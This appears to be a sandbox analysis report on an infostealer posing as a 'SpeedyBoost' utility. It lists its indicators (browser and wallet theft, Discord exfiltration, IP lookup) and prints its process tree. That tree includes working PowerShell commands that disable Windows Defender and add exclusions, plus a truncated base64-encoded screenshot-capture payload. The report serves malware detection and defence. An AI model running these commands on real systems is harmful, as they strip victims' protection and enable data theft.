ad2e3cd985afb669064308d3f277374bcba19440c9ae5e28b9998dc57e813801

Analysis

max time kernel
149s
max time network
274s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
28-04-2024 16:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Speedy/SpeedyBoost.exe
Size

7.5MB
MD5

6d00412f5c7ae7e1427a21a3b200d6d1
SHA1

c0b3c29ec79c847acbe8a48813fb6f19213097aa
SHA256

6583f9c5bfc50b8aebc525c11e8aed2b74f05823c0dffe9557803bec2f02b320
SHA512

acd0a78f8e024a8e08cf6d0ce17901958c5cd603c51aa6c0435b62f3d8f07382fd594f59e9fcc1906d2d7a4b95cb47ed43f8d1d3b1860c883d18ca426f8f5d79
SSDEEP

196608:vrL6OtTurErvI9pWjgaAnajmQsK23fQC//OoLxhr:ntTurEUWjJjmMoo4jLxhr

Score

8^/10

spyware stealer upx

Malware Config

Signatures

Drops file in Drivers directory 3 IoCs

Processes:

SpeedyBoost.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	SpeedyBoost.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Executes dropped EXE 1 IoCs

Processes:

rar.exe

pid process

3780 rar.exe

pid	process
3780	rar.exe

Loads dropped DLL 17 IoCs

Processes:

SpeedyBoost.exe

pid	process
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe
4904	SpeedyBoost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 58 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI26602\python312.dll	upx
behavioral2/memory/4904-25-0x00007FFA3AE50000-0x00007FFA3B515000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\_ctypes.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\libffi-8.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\_ssl.pyd	upx
behavioral2/memory/4904-48-0x00007FFA4F9F0000-0x00007FFA4F9FF000-memory.dmp	upx
behavioral2/memory/4904-47-0x00007FFA4E0F0000-0x00007FFA4E115000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\libssl-3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26602\libcrypto-3.dll	upx
behavioral2/memory/4904-54-0x00007FFA4DFF0000-0x00007FFA4E01D000-memory.dmp	upx
behavioral2/memory/4904-56-0x00007FFA4AD30000-0x00007FFA4AD4A000-memory.dmp	upx
behavioral2/memory/4904-58-0x00007FFA4AC90000-0x00007FFA4ACB4000-memory.dmp	upx
behavioral2/memory/4904-60-0x00007FFA3A7E0000-0x00007FFA3A95E000-memory.dmp	upx
behavioral2/memory/4904-62-0x00007FFA4AC70000-0x00007FFA4AC89000-memory.dmp	upx
behavioral2/memory/4904-64-0x00007FFA4E0E0000-0x00007FFA4E0ED000-memory.dmp	upx
behavioral2/memory/4904-67-0x00007FFA4AC30000-0x00007FFA4AC63000-memory.dmp	upx
behavioral2/memory/4904-68-0x00007FFA3A710000-0x00007FFA3A7DD000-memory.dmp	upx
behavioral2/memory/4904-73-0x00007FFA3A1E0000-0x00007FFA3A709000-memory.dmp	upx
behavioral2/memory/4904-71-0x00007FFA3AE50000-0x00007FFA3B515000-memory.dmp	upx
behavioral2/memory/4904-76-0x00007FFA4AC10000-0x00007FFA4AC24000-memory.dmp	upx
behavioral2/memory/4904-75-0x00007FFA4E0F0000-0x00007FFA4E115000-memory.dmp	upx
behavioral2/memory/4904-79-0x00007FFA4AFE0000-0x00007FFA4AFED000-memory.dmp	upx
behavioral2/memory/4904-84-0x00007FFA3A0C0000-0x00007FFA3A1DB000-memory.dmp	upx
behavioral2/memory/4904-78-0x00007FFA4DFF0000-0x00007FFA4E01D000-memory.dmp	upx
behavioral2/memory/4904-266-0x00007FFA4AC90000-0x00007FFA4ACB4000-memory.dmp	upx
behavioral2/memory/4904-283-0x00007FFA3A7E0000-0x00007FFA3A95E000-memory.dmp	upx
behavioral2/memory/4904-304-0x00007FFA4AC70000-0x00007FFA4AC89000-memory.dmp	upx
behavioral2/memory/4904-319-0x00007FFA3A0C0000-0x00007FFA3A1DB000-memory.dmp	upx
behavioral2/memory/4904-316-0x00007FFA3A1E0000-0x00007FFA3A709000-memory.dmp	upx
behavioral2/memory/4904-315-0x00007FFA3A710000-0x00007FFA3A7DD000-memory.dmp	upx
behavioral2/memory/4904-305-0x00007FFA3AE50000-0x00007FFA3B515000-memory.dmp	upx
behavioral2/memory/4904-314-0x00007FFA4AC30000-0x00007FFA4AC63000-memory.dmp	upx
behavioral2/memory/4904-306-0x00007FFA4E0F0000-0x00007FFA4E115000-memory.dmp	upx
behavioral2/memory/4904-335-0x00007FFA3A710000-0x00007FFA3A7DD000-memory.dmp	upx
behavioral2/memory/4904-344-0x00007FFA4AC30000-0x00007FFA4AC63000-memory.dmp	upx
behavioral2/memory/4904-348-0x00007FFA3A0C0000-0x00007FFA3A1DB000-memory.dmp	upx
behavioral2/memory/4904-347-0x00007FFA4AFE0000-0x00007FFA4AFED000-memory.dmp	upx
behavioral2/memory/4904-346-0x00007FFA4AC10000-0x00007FFA4AC24000-memory.dmp	upx
behavioral2/memory/4904-345-0x00007FFA3A1E0000-0x00007FFA3A709000-memory.dmp	upx
behavioral2/memory/4904-343-0x00007FFA4E0E0000-0x00007FFA4E0ED000-memory.dmp	upx
behavioral2/memory/4904-342-0x00007FFA4AC70000-0x00007FFA4AC89000-memory.dmp	upx
behavioral2/memory/4904-341-0x00007FFA3A7E0000-0x00007FFA3A95E000-memory.dmp	upx
behavioral2/memory/4904-340-0x00007FFA4AC90000-0x00007FFA4ACB4000-memory.dmp	upx
behavioral2/memory/4904-339-0x00007FFA4AD30000-0x00007FFA4AD4A000-memory.dmp	upx
behavioral2/memory/4904-338-0x00007FFA4DFF0000-0x00007FFA4E01D000-memory.dmp	upx
behavioral2/memory/4904-337-0x00007FFA4F9F0000-0x00007FFA4F9FF000-memory.dmp	upx
behavioral2/memory/4904-336-0x00007FFA4E0F0000-0x00007FFA4E115000-memory.dmp	upx
behavioral2/memory/4904-320-0x00007FFA3AE50000-0x00007FFA3B515000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

26 discord.com
27 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

24 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1372 WMIC.exe
Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

2140 tasklist.exe
2836 tasklist.exe
4716 tasklist.exe
5052 tasklist.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

5080 systeminfo.exe

flow	ioc
26	discord.com
27	discord.com

flow	ioc
24	ip-api.com

pid	process
1372	WMIC.exe

pid	process
2140	tasklist.exe
2836	tasklist.exe
4716	tasklist.exe
5052	tasklist.exe

pid	process
5080	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4064	powershell.exe
3792	powershell.exe
3916	powershell.exe
4064	powershell.exe
4064	powershell.exe
3792	powershell.exe
3792	powershell.exe
3916	powershell.exe
3916	powershell.exe
4596	powershell.exe
4596	powershell.exe
4596	powershell.exe
4276	powershell.exe
4276	powershell.exe
4276	powershell.exe
1356	powershell.exe
1356	powershell.exe
1356	powershell.exe
1268	powershell.exe
1268	powershell.exe
2836	powershell.exe
2836	powershell.exe
2748	powershell.exe
2748	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exetasklist.exetasklist.exepowershell.exetasklist.exeWMIC.exepowershell.exetasklist.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	2140	tasklist.exe
Token: SeDebugPrivilege	2836	tasklist.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeDebugPrivilege	4716	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5064	WMIC.exe
Token: SeSecurityPrivilege	5064	WMIC.exe
Token: SeTakeOwnershipPrivilege	5064	WMIC.exe
Token: SeLoadDriverPrivilege	5064	WMIC.exe
Token: SeSystemProfilePrivilege	5064	WMIC.exe
Token: SeSystemtimePrivilege	5064	WMIC.exe
Token: SeProfSingleProcessPrivilege	5064	WMIC.exe
Token: SeIncBasePriorityPrivilege	5064	WMIC.exe
Token: SeCreatePagefilePrivilege	5064	WMIC.exe
Token: SeBackupPrivilege	5064	WMIC.exe
Token: SeRestorePrivilege	5064	WMIC.exe
Token: SeShutdownPrivilege	5064	WMIC.exe
Token: SeDebugPrivilege	5064	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5064	WMIC.exe
Token: SeRemoteShutdownPrivilege	5064	WMIC.exe
Token: SeUndockPrivilege	5064	WMIC.exe
Token: SeManageVolumePrivilege	5064	WMIC.exe
Token: 33	5064	WMIC.exe
Token: 34	5064	WMIC.exe
Token: 35	5064	WMIC.exe
Token: 36	5064	WMIC.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeIncreaseQuotaPrivilege	5064	WMIC.exe
Token: SeSecurityPrivilege	5064	WMIC.exe
Token: SeTakeOwnershipPrivilege	5064	WMIC.exe
Token: SeLoadDriverPrivilege	5064	WMIC.exe
Token: SeSystemProfilePrivilege	5064	WMIC.exe
Token: SeSystemtimePrivilege	5064	WMIC.exe
Token: SeProfSingleProcessPrivilege	5064	WMIC.exe
Token: SeIncBasePriorityPrivilege	5064	WMIC.exe
Token: SeCreatePagefilePrivilege	5064	WMIC.exe
Token: SeBackupPrivilege	5064	WMIC.exe
Token: SeRestorePrivilege	5064	WMIC.exe
Token: SeShutdownPrivilege	5064	WMIC.exe
Token: SeDebugPrivilege	5064	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5064	WMIC.exe
Token: SeRemoteShutdownPrivilege	5064	WMIC.exe
Token: SeUndockPrivilege	5064	WMIC.exe
Token: SeManageVolumePrivilege	5064	WMIC.exe
Token: 33	5064	WMIC.exe
Token: 34	5064	WMIC.exe
Token: 35	5064	WMIC.exe
Token: 36	5064	WMIC.exe
Token: SeDebugPrivilege	5052	tasklist.exe
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeIncreaseQuotaPrivilege	4632	WMIC.exe
Token: SeSecurityPrivilege	4632	WMIC.exe
Token: SeTakeOwnershipPrivilege	4632	WMIC.exe
Token: SeLoadDriverPrivilege	4632	WMIC.exe
Token: SeSystemProfilePrivilege	4632	WMIC.exe
Token: SeSystemtimePrivilege	4632	WMIC.exe
Token: SeProfSingleProcessPrivilege	4632	WMIC.exe
Token: SeIncBasePriorityPrivilege	4632	WMIC.exe
Token: SeCreatePagefilePrivilege	4632	WMIC.exe
Token: SeBackupPrivilege	4632	WMIC.exe
Token: SeRestorePrivilege	4632	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

SpeedyBoost.exeSpeedyBoost.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2660 wrote to memory of 4904	2660	SpeedyBoost.exe	SpeedyBoost.exe
PID 2660 wrote to memory of 4904	2660	SpeedyBoost.exe	SpeedyBoost.exe
PID 4904 wrote to memory of 548	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 548	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 4844	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 4844	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 1544	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 1544	4904	SpeedyBoost.exe	cmd.exe
PID 1544 wrote to memory of 3792	1544	cmd.exe	powershell.exe
PID 1544 wrote to memory of 3792	1544	cmd.exe	powershell.exe
PID 548 wrote to memory of 4064	548	cmd.exe	powershell.exe
PID 548 wrote to memory of 4064	548	cmd.exe	powershell.exe
PID 4844 wrote to memory of 3916	4844	cmd.exe	powershell.exe
PID 4844 wrote to memory of 3916	4844	cmd.exe	powershell.exe
PID 4904 wrote to memory of 3080	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 3080	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 3516	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 3516	4904	SpeedyBoost.exe	cmd.exe
PID 3516 wrote to memory of 2140	3516	cmd.exe	tasklist.exe
PID 3516 wrote to memory of 2140	3516	cmd.exe	tasklist.exe
PID 3080 wrote to memory of 2836	3080	cmd.exe	Conhost.exe
PID 3080 wrote to memory of 2836	3080	cmd.exe	Conhost.exe
PID 4904 wrote to memory of 4916	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 4916	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 3120	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 3120	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 212	4904	SpeedyBoost.exe	csc.exe
PID 4904 wrote to memory of 212	4904	SpeedyBoost.exe	csc.exe
PID 4904 wrote to memory of 4924	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 4924	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 2292	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 2292	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 3088	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 3088	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 4384	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 4384	4904	SpeedyBoost.exe	cmd.exe
PID 3120 wrote to memory of 4596	3120	cmd.exe	powershell.exe
PID 3120 wrote to memory of 4596	3120	cmd.exe	powershell.exe
PID 4916 wrote to memory of 5064	4916	cmd.exe	WMIC.exe
PID 4916 wrote to memory of 5064	4916	cmd.exe	WMIC.exe
PID 212 wrote to memory of 3144	212	cmd.exe	tree.com
PID 212 wrote to memory of 3144	212	cmd.exe	tree.com
PID 2292 wrote to memory of 5080	2292	cmd.exe	systeminfo.exe
PID 2292 wrote to memory of 5080	2292	cmd.exe	systeminfo.exe
PID 3088 wrote to memory of 3128	3088	cmd.exe	reg.exe
PID 3088 wrote to memory of 3128	3088	cmd.exe	reg.exe
PID 4924 wrote to memory of 4716	4924	cmd.exe	tasklist.exe
PID 4924 wrote to memory of 4716	4924	cmd.exe	tasklist.exe
PID 4384 wrote to memory of 4276	4384	cmd.exe	powershell.exe
PID 4384 wrote to memory of 4276	4384	cmd.exe	powershell.exe
PID 4904 wrote to memory of 696	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 696	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 2144	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 2144	4904	SpeedyBoost.exe	cmd.exe
PID 696 wrote to memory of 4928	696	cmd.exe	tree.com
PID 696 wrote to memory of 4928	696	cmd.exe	tree.com
PID 2144 wrote to memory of 3964	2144	cmd.exe	attrib.exe
PID 2144 wrote to memory of 3964	2144	cmd.exe	attrib.exe
PID 4904 wrote to memory of 4908	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 4908	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 868	4904	SpeedyBoost.exe	cmd.exe
PID 4904 wrote to memory of 868	4904	SpeedyBoost.exe	cmd.exe
PID 4908 wrote to memory of 1096	4908	cmd.exe	tree.com
PID 4908 wrote to memory of 1096	4908	cmd.exe	tree.com

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

3964 attrib.exe
1268 attrib.exe

pid	process
3964	attrib.exe
1268	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Speedy\SpeedyBoost.exe
"C:\Users\Admin\AppData\Local\Temp\Speedy\SpeedyBoost.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2660

C:\Users\Admin\AppData\Local\Temp\Speedy\SpeedyBoost.exe
"C:\Users\Admin\AppData\Local\Temp\Speedy\SpeedyBoost.exe"
2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Speedy\SpeedyBoost.exe'"
3⤵
- Suspicious use of WriteProcessMemory
PID:548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Speedy\SpeedyBoost.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4064

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
3⤵
- Suspicious use of WriteProcessMemory
PID:4844

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3916

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
3⤵
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3792

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:3080

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2836

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:3516

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2140

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
3⤵
- Suspicious use of WriteProcessMemory
PID:4916

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:5064

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
3⤵
- Suspicious use of WriteProcessMemory
PID:3120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4596

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
- Suspicious use of WriteProcessMemory
PID:212

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:3144

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:4924

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4716

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
3⤵
- Suspicious use of WriteProcessMemory
PID:2292

C:\Windows\system32\systeminfo.exe
systeminfo
4⤵
- Gathers system information
PID:5080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
3⤵
- Suspicious use of WriteProcessMemory
PID:3088

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
4⤵
PID:3128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAG